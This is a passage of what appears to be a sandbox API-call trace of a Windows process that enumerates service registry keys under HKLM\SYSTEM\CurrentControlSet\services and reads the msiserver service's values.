lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0257.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.974] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.974] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0257.974] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.974] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0257.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0257.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de47b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0257.974] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0257.974] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0257.974] RegEnumKeyW (in: hKey=0x160, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0257.974] RegEnumKeyW (in: hKey=0x160, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0257.975] RegEnumKeyW (in: hKey=0x160, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0257.976] RegEnumKeyW (in: hKey=0x160, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0257.977] RegEnumKeyW (in: hKey=0x160, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0257.978] RegEnumKeyW (in: hKey=0x160, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0257.979] RegEnumKeyW (in: hKey=0x160, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x94, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0257.980] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0257.981] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0257.982] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0257.983] RegOpenKeyExW (in: hKey=0x160, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0257.983] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0257.983] RegCloseKey (hKey=0x160) returned 0x0 [0257.983] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0257.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0257.983] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0257.984] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0257.984] RegCloseKey (hKey=0x80000002) returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x164, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x164, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x164, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x164, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x164, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x164, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x164, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x164, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x164, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0257.984] RegOpenKeyExW (in: hKey=0x164, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0257.984] RegCloseKey (hKey=0x164) returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0257.984] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0257.985] RegOpenKeyExW (in: hKey=0x160, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0257.985] RegCloseKey (hKey=0x160) returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x164, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x164, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x164, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x164, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x164, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x164, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x164, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x164, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0257.985] RegEnumKeyW (in: hKey=0x164, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.986] RegEnumValueA (in: hKey=0x15c, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 